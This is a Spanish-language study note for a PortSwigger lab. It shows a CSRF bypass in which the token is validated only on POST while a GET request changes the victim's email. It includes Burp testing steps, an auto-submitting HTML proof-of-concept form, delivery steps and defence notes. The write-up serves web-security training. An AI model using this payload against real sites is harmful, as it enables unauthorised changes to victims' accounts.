CSRF-2 - La validación del token depende del método HTTP¶
Lab: https://portswigger.net/web-security/csrf/bypassing-token-validation/lab-token-validation-depends-on-request-method
Idea clave¶
La app "protege" el cambio de email cuando se usa POST (valida token CSRF), pero el mismo cambio de estado también se puede hacer vía GET y ahí no valida token.
Resultado: si el usuario víctima está logueado, un atacante puede forzar un GET /my-account/change-email?email=... desde otro sitio y cambiarle el email.
Dónde mirar¶
- Acción típica: "Change email".
- Endpoint:
/my-account/change-email - Comparar comportamiento entre métodos:
POST(con token CSRF).GET(misma acción vía query string).
Cómo identificarlo (pasos en Burp)¶
- Logueate como
wienery cambia el email normalmente. - Intercepta la request y mandala a Repeater.
- Proba sin token con
POST: - Esperable: falla / error de CSRF.
- Proba con
GET: GET /my-account/change-email?email=test%40example.com- Si el email cambia, el token solo se valida para
POST(bug del lab).
Por qué funciona (nota rápida)¶
- El servidor acepta un método inseguro para cambios de estado (
GET). - En muchos escenarios,
SameSite=Laxpermite cookies en navegaciones top-level conGET, haciendo que este tipo de CSRF sea especialmente viable.
PoC (Exploit Server / página atacante)¶
Reemplaza:
- https://TARGET_HOST por el host del lab/objetivo
- [email protected] por el email que quieras setear
<html>
<body>
<!-- Forzamos un GET que cambia estado (mala práctica del servidor). -->
<form action="https://TARGET_HOST/my-account/change-email" method="GET">
<input type="hidden" name="email" value="[email protected]" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Checklist para resolver el lab¶
- Confirmar que
POSTrequiere token y falla sin el. - Confirmar que
GETcambia el email sin token. - Subir el HTML al exploit server.
- "Deliver exploit to victim".
- Verificar que el email de
administratorse actualizó.
Notas de defensa (para recordar)¶
- No aceptar cambios de estado con
GET. - Validar CSRF de forma consistente en todos los métodos/rutas que cambian estado.
- Complementar con
SameSitey validación deOrigin/Referercuando aplique (no como única defensa).